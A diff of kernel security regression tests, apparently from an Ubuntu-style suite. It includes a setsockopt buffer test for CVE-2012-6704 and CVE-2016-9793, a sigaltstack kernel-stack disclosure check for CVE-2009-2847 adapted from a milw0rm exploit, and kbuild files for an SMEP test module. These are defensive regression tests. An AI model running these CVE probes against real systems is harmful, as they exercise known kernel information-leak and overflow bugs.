char * const argvn[] = { "/proc/self/exe", "exit", NULL };
|
||||
execv(argvn[0], argvn);
|
||||
} else if (!strcmp(argv[1], "exit")) {
|
||||
syscall(__NR_exit, 0);
|
||||
} else if (!strcmp(argv[1], "rootonly")) {
|
||||
rootonly = 1;
|
||||
}
|
||||
}
|
||||
|
||||
read_event_id();
|
||||
|
||||
if (!rootonly) {
|
||||
RUN_TEST(mode_one_ok, false);
|
||||
RUN_TEST(mode_one_kill, true);
|
||||
RUN_TEST(add_filter_too_long, false);
|
||||
RUN_TEST(add_filter_too_short, false);
|
||||
RUN_TEST(add_filter_null, false);
|
||||
RUN_TEST(add_bool_apply, false);
|
||||
RUN_TEST(add_bool_apply_event, false);
|
||||
RUN_TEST(add_bool_apply_fail, true);
|
||||
RUN_TEST(add_bool_apply_get, false);
|
||||
RUN_TEST(add_bool_apply_add, false);
|
||||
RUN_TEST(add_bool_apply_drop, false);
|
||||
RUN_TEST(add_bool_apply_drop_die, true);
|
||||
RUN_TEST(add_ftrace_apply, false);
|
||||
RUN_TEST(add_ftrace_apply_fail, true);
|
||||
RUN_TEST(add_ftrace_apply_get, false);
|
||||
RUN_TEST(add_ftrace_apply_append_get, false);
|
||||
RUN_TEST(add_drop_ftrace_proc, false);
|
||||
}
|
||||
|
||||
if (geteuid() == 0) {
|
||||
RUN_TEST_ROOT(keep_exec, true);
|
||||
RUN_TEST_ROOT(keep_exec_drop, true);
|
||||
RUN_TEST_ROOT(lose_exec, true);
|
||||
}
|
||||
|
||||
// pause();
|
||||
return failed;
|
||||
}
|
||||
|
||||
#elif defined(__ARMEL__) || defined(__PPC64__) || defined(__aarch64__) || defined(__s390x__)
|
||||
int main(int argc, char **argv) {
|
||||
/* fail ARMEL and PPC64 automatically */
|
||||
return 1;
|
||||
}
|
||||
#else
|
||||
# error "Not x86 or ARM"
|
||||
#endif
|
|
@ -0,0 +1,7 @@
|
|||
all: setsockopt
|
||||
|
||||
setsockopt: setsockopt.c
|
||||
$(CC) -Wall -o $@ $<
|
||||
|
||||
clean:
|
||||
rm -f setsockopt
|
Binary file not shown.
|
@ -0,0 +1,191 @@
|
|||
/*
|
||||
setsockopt-sndbuf.c - a simple program for testing setsockopt
|
||||
SO_SNDBUF and SO_SNDBUFFORCE as per CVE-2012-6704 and
|
||||
CVE-2016-9793.
|
||||
|
||||
Copyright 2016 Canonical, Ltd.
|
||||
Author: Steve Beattie <steve.beattie@canonical.com>
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <limits.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <sched.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#define SOCK_MIN_SNDBUF 2048
|
||||
unsigned int sysctl_wmem_max = 425984;
|
||||
|
||||
void usage(char *progname) {
|
||||
fprintf(stderr, "Usage: %s [options] <int>\n", progname);
|
||||
fprintf(stderr, "Options are:\n");
|
||||
fprintf(stderr, " -d emit debugging statements\n");
|
||||
fprintf(stderr, " -f use SO_SNDBUFFORCE instead of SO_SNDBUFF\n");
|
||||
fprintf(stderr, " -u use a user namespace\n");
|
||||
fprintf(stderr, " -h this message\n");
|
||||
}
|
||||
|
||||
int my_unshare(int debug) {
|
||||
uid_t uid = geteuid();
|
||||
gid_t gid = getegid();
|
||||
int fd;
|
||||
char buf[256];
|
||||
|
||||
if (debug)
|
||||
printf("Unsharing namespaces.\n");
|
||||
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
perror("FAIL: unable to create new user namespace: ");
|
||||
return -11;
|
||||
}
|
||||
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
perror("FAIL: unable to create new network namespace: ");
|
||||
return -11;
|
||||
}
|
||||
|
||||
|
||||
/* need to deny setgroups to do uid/gid maps */
|
||||
fd = open("/proc/self/setgroups", O_WRONLY);
|
||||
if (fd < 0) {
|
||||
perror("FAIL: unable to open setgroups: ");
|
||||
return -1;
|
||||
}
|
||||
write(fd, "deny", strlen("deny"));
|
||||
close(fd);
|
||||
|
||||
/* map uid/gid */
|
||||
fd = open("/proc/self/uid_map", O_WRONLY);
|
||||
if (fd < 0) {
|
||||
perror("FAIL: unable to open uid_map: ");
|
||||
return -1;
|
||||
}
|
||||
sprintf(buf, "0 %d 1", uid);
|
||||
write(fd, buf, strlen(buf));
|
||||
close(fd);
|
||||
|
||||
fd = open("/proc/self/gid_map", O_WRONLY);
|
||||
if (fd < 0) {
|
||||
perror("FAIL: unable to open gid_map: ");
|
||||
return -1;
|
||||
}
|
||||
sprintf(buf, "0 %d 1", gid);
|
||||
write(fd, buf, strlen(buf));
|
||||
close(fd);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(int argc, char* argv[]) {
|
||||
int fd;
|
||||
int ret;
|
||||
int size, newsize;
|
||||
int opt;
|
||||
socklen_t len;
|
||||
int level = SO_SNDBUF;
|
||||
int do_force = 0;
|
||||
int do_unshare = 0;
|
||||
int debug = 0;
|
||||
|
||||
while ((opt = getopt(argc, argv, "dfhu")) != -1) {
|
||||
switch (opt) {
|
||||
case 'f': do_force = 1;
|
||||
break;
|
||||
case 'u': do_unshare = 1;
|
||||
break;
|
||||
case 'd': debug = 1;
|
||||
break;
|
||||
case 'h':
|
||||
usage(argv[0]);
|
||||
return 0;
|
||||
default:
|
||||
usage(argv[0]);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* require integer argument */
|
||||
if (optind + 1 != argc) {
|
||||
usage(argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (do_force) {
|
||||
level = SO_SNDBUFFORCE;
|
||||
if (debug)
|
||||
printf("Using SO_SNDBUFFORCE.\n");
|
||||
}
|
||||
|
||||
ret = strtol(argv[optind], NULL, 10);
|
||||
if (ret == LONG_MIN || ret == LONG_MAX) {
|
||||
perror("FAIL: strtol");
|
||||
return 1;
|
||||
}
|
||||
newsize = ret;
|
||||
|
||||
if (debug) {
|
||||
printf("%d > sysctl_wmem_max = %s\n", newsize, (newsize > sysctl_wmem_max) ? "true" : "false");
|
||||
printf("%d * 2 = %d\n", newsize, (newsize * 2));
|
||||
printf("(%d * 2) < SOCK_MIN_SNDBUF = %s\n", newsize, ((newsize * 2) < SOCK_MIN_SNDBUF) ? "true" : "false");
|
||||
}
|
||||
|
||||
if (do_unshare) {
|
||||
if (my_unshare(debug) < 0)
|
||||
return 1;
|
||||
}
|
||||
|
||||
fd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
|
||||
if (fd < 0) {
|
||||
perror("FAIL: socket");
|
||||
return 1;
|
||||
}
|
||||
|
||||
len = sizeof(int);
|
||||
ret = getsockopt(fd, SOL_SOCKET, SO_SNDBUF, &size, &len);
|
||||
|
||||
if (ret < 0) {
|
||||
perror("FAIL: getsockopt");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (debug)
|
||||
printf("SO_GETBUF (before): %d\n", size);
|
||||
|
||||
if (debug) {
|
||||
if (do_force) {
|
||||
printf("Setting SO_SNDBUFFORCE: %d (unsigned %u)\n", newsize, newsize);
|
||||
} else {
|
||||
printf("Setting SO_SNDBUF: %d (unsigned %u)\n", newsize, newsize);
|
||||
}
|
||||
}
|
||||
|
||||
ret = setsockopt(fd, SOL_SOCKET, level, &newsize, sizeof(int));
|
||||
|
||||
if (ret < 0) {
|
||||
perror("FAIL: setsockopt");
|
||||
return 1;
|
||||
}
|
||||
|
||||
len = sizeof(int);
|
||||
ret = getsockopt(fd, SOL_SOCKET, SO_SNDBUF, &size, &len);
|
||||
|
||||
if (ret < 0) {
|
||||
perror("FAIL: getsockopt");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (debug)
|
||||
printf("SO_GETBUF (after): ");
|
||||
printf("%d\n", size);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -0,0 +1,12 @@
|
|||
# Add -O2 causes it segv on karmic/amd64
|
||||
CFLAGS=-Wall -Wformat-security -D_FORTIFY_SOURCE=2
|
||||
|
||||
EXECS=signal-stack
|
||||
|
||||
all: $(EXECS)
|
||||
|
||||
signal-stack: signal-stack.c
|
||||
$(CC) $(CFLAGS) -o $@ $<
|
||||
|
||||
clean:
|
||||
rm -f $(EXECS)
|
Binary file not shown.
|
@ -0,0 +1,205 @@
|
|||
/*
|
||||
* <!-- based on http://milw0rm.com/exploits/9352 -->
|
||||
*
|
||||
* sigaltstack-leak.c
|
||||
*
|
||||
* Linux Kernel <= 2.6.31-rc5 sigaltstack 4-Byte Stack Disclosure
|
||||
* Jon Oberheide <jon@oberheide.org>
|
||||
* http://jon.oberheide.org
|
||||
*
|
||||
* Updated by Steve Beattie and Kees Cook
|
||||
*
|
||||
* Information:
|
||||
*
|
||||
* CVE-2009-2847
|
||||
* https://bugzilla.redhat.com/show_bug.cgi?id=515392
|
||||
*
|
||||
* http://git.kernel.org/linus/0083fc2c50e6c5127c2802ad323adf8143ab7856
|
||||
*
|
||||
* Ulrich Drepper correctly points out that there is generally padding in
|
||||
* the structure on 64-bit hosts, and that copying the structure from
|
||||
* kernel to user space can leak information from the kernel stack in those
|
||||
* padding bytes.
|
||||
*
|
||||
* Notes:
|
||||
*
|
||||
* Only 4 bytes of uninitialized kernel stack are leaked in the padding
|
||||
* between stack_t's ss_flags and ss_size. The disclosure only affects
|
||||
* affects 64-bit hosts.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stddef.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
#include <unistd.h>
|
||||
#include <time.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
const int randcalls[] = {
|
||||
/* Don't include syscalls that hang or alarm */
|
||||
SYS_write,
|
||||
SYS_openat,
|
||||
SYS_fstat,
|
||||
SYS_lseek,
|
||||
#ifdef SYS_mmap
|
||||
SYS_mmap,
|
||||
#endif
|
||||
#ifdef SYS_mmap2
|
||||
SYS_mmap2,
|
||||
#endif
|
||||
SYS_mprotect,
|
||||
SYS_munmap,
|
||||
SYS_rt_sigaction,
|
||||
SYS_rt_sigprocmask,
|
||||
SYS_ioctl,
|
||||
SYS_faccessat,
|
||||
SYS_pipe2,
|
||||
SYS_dup,
|
||||
SYS_dup3,
|
||||
SYS_getitimer,
|
||||
SYS_getpid,
|
||||
SYS_flock,
|
||||
SYS_getdents64,
|
||||
SYS_getcwd,
|
||||
SYS_gettimeofday,
|
||||
SYS_getuid,
|
||||
SYS_setuid,
|
||||
SYS_setgid,
|
||||
SYS_geteuid,
|
||||
SYS_getegid,
|
||||
SYS_setpgid,
|
||||
SYS_getpgid,
|
||||
SYS_setsid,
|
||||
SYS_setreuid,
|
||||
SYS_setregid,
|
||||
SYS_setgroups,
|
||||
SYS_getpgid,
|
||||
SYS_setfsuid,
|
||||
SYS_setfsgid,
|
||||
SYS_getsid,
|
||||
SYS_getpriority,
|
||||
SYS_setpriority,
|
||||
SYS_sched_get_priority_max,
|
||||
};
|
||||
|
||||
void dump(const char *name, const unsigned char *p, unsigned l)
|
||||
{
|
||||
printf("%s:", name);
|
||||
while (l > 0) {
|
||||
printf(" ");
|
||||
if (l == 12) {
|
||||
printf("*** ");
|
||||
}
|
||||
printf("%02x", *p);
|
||||
if (l == 9) {
|
||||
printf(" ***");
|
||||
}
|
||||
++p; --l;
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
void check_stack(stack_t *stack)
|
||||
{
|
||||
stack_t *copy = calloc(1, sizeof(stack_t));
|
||||
|
||||
copy->ss_sp = stack->ss_sp;
|
||||
copy->ss_size = stack->ss_size;
|
||||
copy->ss_flags = stack->ss_flags;
|
||||
|
||||
if (memcmp(stack, copy, sizeof(stack_t))) {
|
||||
printf("FAIL\n");
|
||||
dump("stack", (unsigned char *) stack, sizeof(*stack));
|
||||
dump("copy ", (unsigned char *) copy, sizeof(*copy));
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
void signal_handler(int n)
|
||||
{
|
||||
if (n == SIGSEGV) {
|
||||
printf("Caught SIGSEGV, ignoring\n");
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
int main(void)
|
||||
{
|
||||
int call, ret, i;
|
||||
size_t size, ftest, stest;
|
||||
stack_t oss;
|
||||
const struct sigaction st = {
|
||||
.sa_handler = &signal_handler,
|
||||
};
|
||||
|
||||
size = sizeof(stack_t);
|
||||
memset(&oss, '\0', size);
|
||||
|
||||
printf("[+] Checking platform...\n");
|
||||
|
||||
if (size == 24) {
|
||||
printf("[+] sizeof(stack_t) = %zu\n", size);
|
||||
printf("[+] Correct size, 64-bit platform.\n");
|
||||
} else {
|
||||
printf("[-] sizeof(stack_t) = %zu\n", size);
|
||||
printf("[-] Warning: you do not appear to be on a 64-bit platform.\n");
|
||||
printf("[-] No information disclosure is possible.\n");
|
||||
//exit(0);
|
||||
}
|
||||
|
||||
ftest = offsetof(stack_t, ss_flags) + sizeof(oss.ss_flags);
|
||||
stest = offsetof(stack_t, ss_size);
|
||||
|
||||
printf("[+] Checking for stack_t hole...\n");
|
||||
|
||||
if (ftest != stest) {
|
||||
printf("[+] ss_flags end (%zu) != ss_size start (%zu)\n", ftest, stest);
|
||||
printf("[+] Hole in stack_t present!\n");
|
||||
} else {
|
||||
printf("[-] ss_flags end (%zu) == ss_size start (%zu)\n", ftest, stest);
|
||||
printf("[-] Warning: No hole in stack_t, so skipping this test.\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
printf("[+] Ready to call sigaltstack.\n\n");
|
||||
fflush(NULL);
|
||||
|
||||
/*
|
||||
for (ret = 5; ret > 0; ret--) {
|
||||
printf("%d...\n", ret);
|
||||
sleep(1);
|
||||
}
|
||||
*/
|
||||
srand(time(NULL));
|
||||
|
||||
for (i = 0; i < 4096; i++) {
|
||||
/* random stuff to make stack pseudo-interesting */
|
||||
call = rand() % (sizeof(randcalls) / sizeof(int));
|
||||
/*
|
||||
printf("syscall %d\n",randcalls[call]);
|
||||
fflush(NULL);
|
||||
*/
|
||||
|
||||
/* some bad syscalls on powerpc64el cause a userspace
|
||||
* SIGSEGV, so trap it */
|
||||
sigaction(SIGSEGV, &st, NULL);
|
||||
|
||||
syscall(randcalls[call]);
|
||||
|
||||
ret = sigaltstack(NULL, &oss);
|
||||
if (ret != 0) {
|
||||
printf("[-] Error: sigaltstack failed.\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
check_stack(&oss);
|
||||
}
|
||||
|
||||
printf("ok\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// milw0rm.com [2009-08-04]
|
|
@ -0,0 +1,7 @@
|
|||
CFLAGS=-Wall -Werror -O2
|
||||
|
||||
all:
|
||||
make -C execuser
|
||||
|
||||
clean:
|
||||
make -C execuser clean
|
|
@ -0,0 +1 @@
|
|||
cmd_/media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.ko := ld -r -m elf_x86_64 -z max-page-size=0x200000 --build-id -T ./scripts/module-common.lds -o /media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.ko /media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.o /media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.mod.o; true
|
|
@ -0,0 +1 @@
|
|||
cmd_/media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.mod := { echo /media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.o; echo; } > /media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.mod
|
|
@ -0,0 +1,696 @@
|
|||
cmd_/media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.mod.o := gcc -Wp,-MD,/media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/.execuser.mod.o.d -nostdinc -isystem /usr/lib/gcc/x86_64-linux-gnu/9/include -I./arch/x86/include -I./arch/x86/include/generated -I./include -I./arch/x86/include/uapi -I./arch/x86/include/generated/uapi -I./include/uapi -I./include/generated/uapi -include ./include/linux/kconfig.h -Iubuntu/include -include ./include/linux/compiler_types.h -D__KERNEL__ -Wall -Wundef -Werror=strict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -fshort-wchar -fno-PIE -Werror=implicit-function-declaration -Werror=implicit-int -Wno-format-security -std=gnu89 -mno-sse -mno-mmx -mno-sse2 -mno-3dnow -mno-avx -m64 -falign-jumps=1 -falign-loops=1 -mno-80387 -mno-fp-ret-in-387 -mpreferred-stack-boundary=3 -mskip-rax-setup -mtune=generic -mno-red-zone -mcmodel=kernel -DCONFIG_X86_X32_ABI -DCONFIG_AS_CFI=1 -DCONFIG_AS_CFI_SIGNAL_FRAME=1 -DCONFIG_AS_CFI_SECTIONS=1 -DCONFIG_AS_SSSE3=1 -DCONFIG_AS_AVX=1 -DCONFIG_AS_AVX2=1 -DCONFIG_AS_AVX512=1 -DCONFIG_AS_SHA1_NI=1 -DCONFIG_AS_SHA256_NI=1 -Wno-sign-compare -fno-asynchronous-unwind-tables -mindirect-branch=thunk-extern -mindirect-branch-register -fno-jump-tables -fno-delete-null-pointer-checks -Wno-frame-address -Wno-format-truncation -Wno-format-overflow -Wno-address-of-packed-member -O2 --param=allow-store-data-races=0 -Wframe-larger-than=1024 -fstack-protector-strong -Wno-unused-but-set-variable -Wimplicit-fallthrough -Wno-unused-const-variable -fno-omit-frame-pointer -fno-optimize-sibling-calls -fno-var-tracking-assignments -pg -mrecord-mcount -mfentry -DCC_USING_FENTRY -flive-patching=inline-clone -Wdeclaration-after-statement -Wvla -Wno-pointer-sign -Wno-stringop-truncation -fno-strict-overflow -fno-merge-all-constants -fmerge-constants -fno-stack-check -fconserve-stack -Werror=date-time -Werror=incompatible-pointer-types -Werror=designated-init -fmacro-prefix-map=./= -fcf-protection=none -Wno-packed-not-aligned -DMODULE -DKBUILD_BASENAME='"execuser.mod"' -DKBUILD_MODNAME='"execuser"' -c -o /media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.mod.o /media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.mod.c
|
||||
|
||||
source_/media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.mod.o := /media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.mod.c
|
||||
|
||||
deps_/media/kylin/gjq/安全基线/安全测试脚本/安全测试脚本/kernel-security/smep/execuser/execuser.mod.o := \
|
||||
$(wildcard include/config/module/unload.h) \
|
||||
$(wildcard include/config/retpoline.h) \
|
||||
include/linux/kconfig.h \
|
||||
$(wildcard include/config/cpu/big/endian.h) \
|
||||
$(wildcard include/config/booger.h) \
|
||||
$(wildcard include/config/foo.h) \
|
||||
include/linux/compiler_types.h \
|
||||
$(wildcard include/config/have/arch/compiler/h.h) \
|
||||
$(wildcard include/config/enable/must/check.h) \
|
||||
$(wildcard include/config/optimize/inlining.h) \
|
||||
$(wildcard include/config/cc/has/asm/inline.h) \
|
||||
include/linux/compiler_attributes.h \
|
||||
include/linux/compiler-gcc.h \
|
||||
$(wildcard include/config/arch/use/builtin/bswap.h) \
|
||||
include/linux/build-salt.h \
|
||||
$(wildcard include/config/build/salt.h) \
|
||||
include/linux/elfnote.h \
|
||||
include/linux/elf.h \
|
||||
arch/x86/include/asm/elf.h \
|
||||
$(wildcard include/config/x86/64.h) \
|
||||
$(wildcard include/config/x86/32.h) \
|
||||
$(wildcard include/config/ia32/emulation.h) \
|
||||
$(wildcard include/config/x86/x32/abi.h) \
|
||||
$(wildcard include/config/compat.h) \
|
||||
include/linux/thread_info.h \
|
||||
$(wildcard include/config/thread/info/in/task.h) \
|
||||
$(wildcard include/config/mips.h) \
|
||||
$(wildcard include/config/loongarch.h) \
|
||||
$(wildcard include/config/have/arch/within/stack/frames.h) \
|
||||
$(wildcard include/config/hardened/usercopy.h) \
|
||||
include/linux/types.h \
|
||||
$(wildcard include/config/have/uid16.h) \
|
||||
$(wildcard include/config/uid16.h) \
|
||||
$(wildcard include/config/arch/dma/addr/t/64bit.h) \
|
||||
$(wildcard include/config/phys/addr/t/64bit.h) \
|
||||
$(wildcard include/config/64bit.h) \
|
||||
include/uapi/linux/types.h \
|
||||
arch/x86/include/generated/uapi/asm/types.h \
|
||||
include/uapi/asm-generic/types.h \
|
||||
include/asm-generic/int-ll64.h \
|
||||
include/uapi/asm-generic/int-ll64.h \
|
||||
arch/x86/include/uapi/asm/bitsperlong.h \
|
||||
include/asm-generic/bitsperlong.h \
|
||||
include/uapi/asm-generic/bitsperlong.h \
|
||||
include/uapi/linux/posix_types.h \
|
||||
include/linux/stddef.h \
|
||||
include/uapi/linux/stddef.h \
|
||||
include/linux/compiler_types.h \
|
||||
arch/x86/include/asm/posix_types.h \
|
||||
arch/x86/include/uapi/asm/posix_types_64.h \
|
||||
include/uapi/asm-generic/posix_types.h \
|
||||
include/linux/bug.h \
|
||||
$(wildcard include/config/generic/bug.h) \
|
||||
$(wildcard include/config/bug/on/data/corruption.h) \
|
||||
arch/x86/include/asm/bug.h \
|
||||
$(wildcard include/config/debug/bugverbose.h) \
|
||||
include/linux/stringify.h \
|
||||
include/asm-generic/bug.h \
|
||||
$(wildcard include/config/bug.h) \
|
||||
$(wildcard include/config/generic/bug/relative/pointers.h) \
|
||||
$(wildcard include/config/smp.h) \
|
||||
include/linux/compiler.h \
|
||||
$(wildcard include/config/trace/branch/profiling.h) \
|
||||
$(wildcard include/config/profile/all/branches.h) \
|
||||
$(wildcard include/config/stack/validation.h) \
|
||||
$(wildcard include/config/kasan.h) \
|
||||
arch/x86/include/asm/barrier.h \
|
||||
arch/x86/include/asm/alternative.h \
|
||||
arch/x86/include/asm/asm.h \
|
||||
arch/x86/include/asm/nops.h \
|
||||
$(wildcard include/config/mk7.h) \
|
||||
$(wildcard include/config/x86/p6/nop.h) \
|
||||
include/asm-generic/barrier.h \
|
||||
include/linux/kasan-checks.h \
|
||||
include/linux/kernel.h \
|
||||
$(wildcard include/config/preempt/voluntary.h) \
|
||||
$(wildcard include/config/debug/atomic/sleep.h) \
|
||||
$(wildcard include/config/mmu.h) \
|
||||
$(wildcard include/config/prove/locking.h) \
|
||||
$(wildcard include/config/arch/has/refcount.h) \
|
||||
$(wildcard include/config/panic/timeout.h) \
|
||||
$(wildcard include/config/tracing.h) \
|
||||
$(wildcard include/config/ftrace/mcount/record.h) \
|
||||
/usr/lib/gcc/x86_64-linux-gnu/9/include/stdarg.h \
|
||||
include/linux/limits.h \
|
||||
include/uapi/linux/limits.h \
|
||||
include/linux/linkage.h \
|
||||
include/linux/export.h \
|
||||
$(wildcard include/config/modversions.h) \
|
||||
$(wildcard include/config/module/rel/crcs.h) \
|
||||
$(wildcard include/config/have/arch/prel32/relocations.h) \
|
||||
$(wildcard include/config/modules.h) \
|
||||
$(wildcard include/config/trim/unused/ksyms.h) \
|
||||
$(wildcard include/config/unused/symbols.h) \
|
||||
arch/x86/include/asm/linkage.h \
|
||||
$(wildcard include/config/x86/alignment/16.h) \
|
||||
include/linux/bitops.h \
|
||||
include/linux/bits.h \
|
||||
include/linux/const.h \
|
||||
include/uapi/linux/const.h \
|
||||
arch/x86/include/asm/bitops.h \
|
||||
$(wildcard include/config/x86/cmov.h) \
|
||||
arch/x86/include/asm/rmwcc.h \
|
||||
$(wildcard include/config/cc/has/asm/goto.h) \
|
||||
include/asm-generic/bitops/find.h \
|
||||
$(wildcard include/config/generic/find/first/bit.h) \
|
||||
include/asm-generic/bitops/sched.h \
|
||||
arch/x86/include/asm/arch_hweight.h \
|
||||
arch/x86/include/asm/cpufeatures.h \
|
||||
arch/x86/include/asm/required-features.h \
|
||||
$(wildcard include/config/x86/minimum/cpu/family.h) \
|
||||
$(wildcard include/config/math/emulation.h) \
|
||||
$(wildcard include/config/x86/pae.h) \
|
||||
$(wildcard include/config/x86/cmpxchg64.h) \
|
||||
$(wildcard include/config/x86/use/3dnow.h) \
|
||||
$(wildcard include/config/matom.h) \
|
||||
$(wildcard include/config/paravirt.h) \
|
||||
arch/x86/include/asm/disabled-features.h \
|
||||
$(wildcard include/config/x86/intel/mpx.h) \
|
||||
$(wildcard include/config/x86/smap.h) \
|
||||
$(wildcard include/config/x86/umip.h) \
|
||||
$(wildcard include/config/x86/intel/memory/protection/keys.h) \
|
||||
$(wildcard include/config/x86/5level.h) \
|
||||
$(wildcard include/config/page/table/isolation.h) \
|
||||
include/asm-generic/bitops/const_hweight.h \
|
||||
include/asm-generic/bitops-instrumented.h \
|
||||
include/asm-generic/bitops/le.h \
|
||||
arch/x86/include/uapi/asm/byteorder.h \
|
||||
include/linux/byteorder/little_endian.h \
|
||||
include/uapi/linux/byteorder/little_endian.h \
|
||||
include/linux/swab.h \
|
||||
include/uapi/linux/swab.h \
|
||||
arch/x86/include/uapi/asm/swab.h \
|
||||
include/linux/byteorder/generic.h \
|
||||
include/asm-generic/bitops/ext2-atomic-setbit.h \
|
||||
include/linux/log2.h \
|
||||
$(wildcard include/config/arch/has/ilog2/u32.h) \
|
||||
$(wildcard include/config/arch/has/ilog2/u64.h) \
|
||||
include/linux/typecheck.h \
|
||||
include/linux/printk.h \
|
||||
$(wildcard include/config/message/loglevel/default.h) \
|
||||
$(wildcard include/config/console/loglevel/default.h) \
|
||||
$(wildcard include/config/console/loglevel/quiet.h) \
|
||||
$(wildcard include/config/early/printk.h) \
|
||||
$(wildcard include/config/printk/nmi.h) \
|
||||
$(wildcard include/config/printk.h) \
|
||||
$(wildcard include/config/kmsg/ids.h) \
|
||||
$(wildcard include/config/dynamic/debug.h) \
|
||||
include/linux/init.h \
|
||||
$(wildcard include/config/strict/kernel/rwx.h) \
|
||||
$(wildcard include/config/strict/module/rwx.h) \
|
||||
include/linux/kern_levels.h \
|
||||
include/linux/cache.h \
|
||||
$(wildcard include/config/arch/has/cache/line/size.h) \
|
||||
include/uapi/linux/kernel.h \
|
||||
include/uapi/linux/sysinfo.h \
|
||||
arch/x86/include/asm/cache.h \
|
||||
$(wildcard include/config/x86/l1/cache/shift.h) \
|
||||
$(wildcard include/config/x86/internode/cache/shift.h) \
|
||||
$(wildcard include/config/x86/vsmp.h) \
|
||||
include/linux/dynamic_debug.h \
|
||||
$(wildcard include/config/jump/label.h) \
|
||||
include/linux/jump_label.h \
|
||||
$(wildcard include/config/have/arch/jump/label/relative.h) \
|
||||
arch/x86/include/asm/jump_label.h \
|
||||
include/linux/build_bug.h \
|
||||
arch/x86/include/asm/div64.h \
|
||||
include/asm-generic/div64.h \
|
||||
include/linux/restart_block.h \
|
||||
include/linux/time64.h \
|
||||
include/linux/math64.h \
|
||||
$(wildcard include/config/arch/supports/int128.h) \
|
||||
include/uapi/linux/time.h \
|
||||
include/uapi/linux/time_types.h \
|
||||
arch/x86/include/asm/current.h \
|
||||
arch/x86/include/asm/percpu.h \
|
||||
$(wildcard include/config/x86/64/smp.h) \
|
||||
include/asm-generic/percpu.h \
|
||||
$(wildcard include/config/debug/preempt.h) \
|
||||
$(wildcard include/config/have/setup/per/cpu/area.h) \
|
||||
include/linux/threads.h \
|
||||
$(wildcard include/config/nr/cpus.h) \
|
||||
$(wildcard include/config/base/small.h) \
|
||||
include/linux/percpu-defs.h \
|
||||
$(wildcard include/config/debug/force/weak/per/cpu.h) \
|
||||
$(wildcard include/config/virtualization.h) \
|
||||
$(wildcard include/config/amd/mem/encrypt.h) \
|
||||
arch/x86/include/asm/thread_info.h \
|
||||
$(wildcard include/config/vm86.h) \
|
||||
$(wildcard include/config/frame/pointer.h) \
|
||||
arch/x86/include/asm/page.h \
|
||||
arch/x86/include/asm/page_types.h \
|
||||
$(wildcard include/config/physical/start.h) \
|
||||
$(wildcard include/config/physical/align.h) \
|
||||
$(wildcard include/config/dynamic/physical/mask.h) \
|
||||
include/linux/mem_encrypt.h \
|
||||
$(wildcard include/config/arch/has/mem/encrypt.h) \
|
||||
arch/x86/include/asm/mem_encrypt.h \
|
||||
arch/x86/include/uapi/asm/bootparam.h \
|
||||
include/linux/screen_info.h \
|
||||
include/uapi/linux/screen_info.h \
|
||||
include/linux/apm_bios.h \
|
||||
include/uapi/linux/apm_bios.h \
|
||||
include/uapi/linux/ioctl.h \
|
||||
arch/x86/include/generated/uapi/asm/ioctl.h \
|
||||
include/asm-generic/ioctl.h \
|
||||
include/uapi/asm-generic/ioctl.h \
|
||||
include/linux/edd.h \
|
||||
include/uapi/linux/edd.h \
|
||||
arch/x86/include/asm/ist.h \
|
||||
arch/x86/include/uapi/asm/ist.h \
|
||||
include/video/edid.h \
|
||||
$(wildcard include/config/x86.h) \
|
||||
include/uapi/video/edid.h \
|
||||
arch/x86/include/asm/page_64_types.h \
|
||||
$(wildcard include/config/dynamic/memory/layout.h) \
|
||||
$(wildcard include/config/randomize/base.h) \
|
||||
arch/x86/include/asm/kaslr.h \
|
||||
$(wildcard include/config/randomize/memory.h) \
|
||||
arch/x86/include/asm/page_64.h \
|
||||
$(wildcard include/config/debug/virtual.h) \
|
||||
$(wildcard include/config/flatmem.h) \
|
||||
$(wildcard include/config/x86/vsyscall/emulation.h) \
|
||||
include/linux/range.h \
|
||||
include/asm-generic/memory_model.h \
|
||||
$(wildcard include/config/discontigmem.h) \
|
